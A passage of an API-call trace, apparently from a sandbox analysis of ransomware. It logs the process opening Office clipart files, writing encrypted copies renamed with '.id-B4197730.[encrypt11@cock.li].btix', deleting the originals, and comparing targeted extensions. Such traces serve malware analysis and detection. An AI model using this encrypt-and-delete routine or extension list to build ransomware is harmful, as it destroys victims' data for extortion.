office\\root\\clipart\\pub60cor\\j0099164.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0136.989] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099164.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0136.990] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0136.990] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0136.990] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099164.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0136.990] GetLastError () returned 0x0 [0136.990] ReadFile (in: hFile=0x530, lpBuffer=0x3b58020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesRead=0x2ecfecc*=0x55ba, lpOverlapped=0x0) returned 1 [0136.992] WriteFile (in: hFile=0x548, lpBuffer=0x3b58020*, nNumberOfBytesToWrite=0x55c0, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesWritten=0x2ecfc94*=0x55c0, lpOverlapped=0x0) returned 1 [0136.993] ReadFile (in: hFile=0x530, lpBuffer=0x3b58020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesRead=0x2ecfecc*=0x0, lpOverlapped=0x0) returned 1 [0136.993] WriteFile (in: hFile=0x548, lpBuffer=0x3b58020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesWritten=0x2ecfc94*=0xec, lpOverlapped=0x0) returned 1 [0136.993] SetEndOfFile (hFile=0x548) returned 1 [0136.993] CloseHandle (hObject=0x548) returned 1 [0136.993] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0136.993] SetEndOfFile (hFile=0x530) returned 1 [0136.996] CloseHandle (hObject=0x530) returned 1 [0136.996] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0136.996] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099164.wmf")) returned 1 [0136.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF") returned 68 [0136.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF") returned 68 [0136.997] lstrlenW (lpString=".doc") returned 4 [0136.997] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0136.997] lstrlenW (lpString=".docx") returned 5 [0136.997] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0136.997] lstrlenW (lpString=".pdf") returned 4 [0136.997] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0136.997] lstrlenW (lpString=".xls") returned 4 [0136.997] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0136.997] lstrlenW (lpString=".xlsx") returned 5 [0136.997] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0136.997] lstrlenW (lpString=".ppt") returned 4 [0136.997] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0136.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF") returned 68 [0136.997] lstrlenW (lpString=".zip") returned 4 [0136.997] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0136.997] lstrlenW (lpString=".rar") returned 4 [0136.997] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0136.997] lstrlenW (lpString=".bz2") returned 4 [0136.997] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0136.997] lstrlenW (lpString=".7z") returned 3 [0136.997] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0136.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF") returned 68 [0136.997] lstrlenW (lpString=".dbf") returned 4 [0136.997] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0136.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF") returned 68 [0136.997] lstrlenW (lpString=".1cd") returned 4 [0136.997] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0136.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF") returned 68 [0136.997] lstrlenW (lpString=".jpg") returned 4 [0136.997] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0136.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF") returned 68 [0136.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF") returned 68 [0136.998] lstrlenW (lpString=".doc") returned 4 [0136.998] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0136.998] lstrlenW (lpString=".docx") returned 5 [0136.998] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0136.998] lstrlenW (lpString=".pdf") returned 4 [0136.998] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0136.998] lstrlenW (lpString=".xls") returned 4 [0136.998] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0136.998] lstrlenW (lpString=".xlsx") returned 5 [0136.998] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0136.998] lstrlenW (lpString=".ppt") returned 4 [0136.998] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0136.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF") returned 68 [0136.998] lstrlenW (lpString=".zip") returned 4 [0136.998] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0136.998] lstrlenW (lpString=".rar") returned 4 [0136.998] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0136.998] lstrlenW (lpString=".bz2") returned 4 [0136.998] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0136.998] lstrlenW (lpString=".7z") returned 3 [0136.998] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0136.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF") returned 68 [0136.998] lstrlenW (lpString=".dbf") returned 4 [0136.998] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0136.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF") returned 68 [0136.998] lstrlenW (lpString=".1cd") returned 4 [0136.998] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0136.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF") returned 68 [0136.998] lstrlenW (lpString=".jpg") returned 4 [0136.998] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0136.998] lstrcmpiW (lpString1=".JPG", lpString2=".btix") returned 1 [0136.998] lstrlenW (lpString="J0099165.JPG") returned 12 [0136.999] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099165.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8 [0137.005] GetFileSizeEx (in: hFile=0x4a8, lpFileSize=0x2ecff14 | out: lpFileSize=0x2ecff14*=50490) returned 1 [0137.005] CloseHandle (hObject=0x4a8) returned 1 [0137.007] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099165.jpg")) returned 0x220 [0137.007] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099165.jpg.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0137.007] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099165.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8 [0137.008] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0137.008] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0137.008] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099165.jpg.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0137.009] GetLastError () returned 0x0 [0137.009] ReadFile (in: hFile=0x4a8, lpBuffer=0x3b58020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesRead=0x2ecfecc*=0xc53a, lpOverlapped=0x0) returned 1 [0137.023] WriteFile (in: hFile=0x534, lpBuffer=0x3b58020*, nNumberOfBytesToWrite=0xc540, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesWritten=0x2ecfc94*=0xc540, lpOverlapped=0x0) returned 1 [0137.025] ReadFile (in: hFile=0x4a8, lpBuffer=0x3b58020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesRead=0x2ecfecc*=0x0, lpOverlapped=0x0) returned 1 [0137.025] WriteFile (in: hFile=0x534, lpBuffer=0x3b58020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesWritten=0x2ecfc94*=0xec, lpOverlapped=0x0) returned 1 [0137.025] SetEndOfFile (hFile=0x534) returned 1 [0137.025] CloseHandle (hObject=0x534) returned 1 [0137.025] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0137.025] SetEndOfFile (hFile=0x4a8) returned 1 [0137.031] CloseHandle (hObject=0x4a8) returned 1 [0137.031] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0137.031] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099165.jpg")) returned 1 [0137.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG") returned 68 [0137.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG") returned 68 [0137.032] lstrlenW (lpString=".doc") returned 4 [0137.032] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0137.032] lstrlenW (lpString=".docx") returned 5 [0137.032] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1 [0137.032] lstrlenW (lpString=".pdf") returned 4 [0137.032] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0137.032] lstrlenW (lpString=".xls") returned 4 [0137.032] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0137.032] lstrlenW (lpString=".xlsx") returned 5 [0137.032] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1 [0137.032] lstrlenW (lpString=".ppt") returned 4 [0137.032] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0137.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG") returned 68 [0137.032] lstrlenW (lpString=".zip") returned 4 [0137.032] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0137.032] lstrlenW (lpString=".rar") returned 4 [0137.032] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0137.032] lstrlenW (lpString=".bz2") returned 4 [0137.032] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0137.032] lstrlenW (lpString=".7z") returned 3 [0137.032] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0137.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG") returned 68 [0137.033] lstrlenW (lpString=".dbf") returned 4 [0137.033] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0137.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG") returned 68 [0137.033] lstrlenW (lpString=".1cd") returned 4 [0137.033] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0137.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG") returned 68 [0137.033] lstrlenW (lpString=".jpg") returned 4 [0137.033] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0137.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG") returned 68 [0137.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG") returned 68 [0137.033] lstrlenW (lpString=".doc") returned 4 [0137.033] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0137.033] lstrlenW (lpString=".docx") returned 5 [0137.033] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1 [0137.033] lstrlenW (lpString=".pdf") returned 4 [0137.033] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0137.033] lstrlenW (lpString=".xls") returned 4 [0137.033] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0137.033] lstrlenW (lpString=".xlsx") returned 5 [0137.033] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1 [0137.033] lstrlenW (lpString=".ppt") returned 4 [0137.033] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0137.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG") returned 68 [0137.033] lstrlenW (lpString=".zip") returned 4 [0137.033] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0137.033] lstrlenW (lpString=".rar") returned 4 [0137.033] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0137.033] lstrlenW (lpString=".bz2") returned 4 [0137.033] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0137.033] lstrlenW (lpString=".7z") returned 3 [0137.033] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0137.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG") returned 68 [0137.033] lstrlenW (lpString=".dbf") returned 4 [0137.033] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0137.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG") returned 68 [0137.033] lstrlenW (lpString=".1cd") returned 4 [0137.034] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0137.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG") returned 68 [0137.034] lstrlenW (lpString=".jpg") returned 4 [0137.034] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0137.034] lstrcmpiW (lpString1=".JPG", lpString2=".btix") returned 1 [0137.034] lstrlenW (lpString="J0099167.JPG") returned 12 [0137.034] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099167.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0137.125] GetFileSizeEx (in: hFile=0x534, lpFileSize=0x2ecff14 | out: lpFileSize=0x2ecff14*=43949) returned 1 [0137.125] CloseHandle (hObject=0x534) returned 1 [0137.125] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099167.jpg")) returned 0x220 [0137.125] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099167.jpg.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0137.126] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099167.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0137.126] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0137.126] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0137.126] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099167.jpg.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8 [0137.127] GetLastError () returned 0x0 [0137.127] ReadFile (in: hFile=0x534, lpBuffer=0x3b58020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesRead=0x2ecfecc*=0xabad, lpOverlapped=0x0) returned 1 [0137.129] WriteFile (in: hFile=0x4a8, lpBuffer=0x3b58020*, nNumberOfBytesToWrite=0xabb0, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesWritten=0x2ecfc94*=0xabb0, lpOverlapped=0x0) returned 1 [0137.130] ReadFile (in: hFile=0x534, lpBuffer=0x3b58020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesRead=0x2ecfecc*=0x0, lpOverlapped=0x0) returned 1 [0137.130] WriteFile (in: hFile=0x4a8, lpBuffer=0x3b58020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesWritten=0x2ecfc94*=0xec, lpOverlapped=0x0) returned 1 [0137.131] SetEndOfFile (hFile=0x4a8) returned 1 [0137.131] CloseHandle (hObject=0x4a8) returned 1 [0137.131] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0137.131] SetEndOfFile (hFile=0x534) returned 1 [0137.134] CloseHandle (hObject=0x534) returned 1 [0137.134] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0137.134] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099167.jpg")) returned 1 [0137.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG") returned 68 [0137.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG") returned 68 [0137.135] lstrlenW (lpString=".doc") returned 4 [0137.135] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0137.135] lstrlenW (lpString=".docx") returned 5 [0137.135] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1 [0137.135] lstrlenW (lpString=".pdf") returned 4 [0137.135] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0137.135] lstrlenW (lpString=".xls") returned 4 [0137.135] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0137.135] lstrlenW (lpString=".xlsx") returned 5 [0137.135] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1 [0137.135] lstrlenW (lpString=".ppt") returned 4 [0137.135] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0137.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG") returned 68 [0137.135] lstrlenW (lpString=".zip") returned 4 [0137.135] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0137.135] lstrlenW (lpString=".rar") returned 4 [0137.135] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0137.135] lstrlenW (lpString=".bz2") returned 4 [0137.135] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0137.135] lstrlenW (lpString=".7z") returned 3 [0137.135] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0137.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG") returned 68 [0137.135] lstrlenW (lpString=".dbf") returned 4 [0137.135] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0137.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG") returned 68 [0137.135] lstrlenW (lpString=".1cd") returned 4 [0137.135] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0137.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG") returned 68 [0137.135] lstrlenW (lpString=".jpg") returned 4 [0137.135] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0137.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG") returned 68 [0137.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG") returned 68 [0137.136] lstrlenW (lpString=".doc") returned 4 [0137.136] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0137.136] lstrlenW (lpString=".docx") returned 5 [0137.136] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1 [0137.136] lstrlenW (lpString=".pdf") returned 4 [0137.136] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0137.136] lstrlenW (lpString=".xls") returned 4 [0137.136] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0137.136] lstrlenW (lpString=".xlsx") returned 5 [0137.136] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1 [0137.136] lstrlenW (lpString=".ppt") returned 4 [0137.136] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0137.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG") returned 68 [0137.136] lstrlenW (lpString=".zip") returned 4 [0137.136] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0137.136] lstrlenW (lpString=".rar") returned 4 [0137.136] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0137.136] lstrlenW (lpString=".bz2") returned 4 [0137.136] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0137.136] lstrlenW (lpString=".7z") returned 3 [0137.136] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0137.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG") returned 68 [0137.136] lstrlenW (lpString=".dbf") returned 4 [0137.136] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0137.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG") returned 68 [0137.136] lstrlenW (lpString=".1cd") returned 4 [0137.136] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0137.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG") returned 68 [0137.136] lstrlenW (lpString=".jpg") returned 4 [0137.136] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0137.136] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0137.137] lstrlenW (lpString="J0099170.WMF") returned 12 [0137.137] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099170.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0137.137] GetFileSizeEx (in: hFile=0x534, lpFileSize=0x2ecff14 | out: lpFileSize=0x2ecff14*=24292) returned 1 [0137.137] CloseHandle (hObject=0x534) returned 1 [0137.137] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099170.wmf")) returned 0x220 [0137.138] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099170.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0137.138] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099170.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0137.138] SetFilePointerEx (in: hFile=0x534, 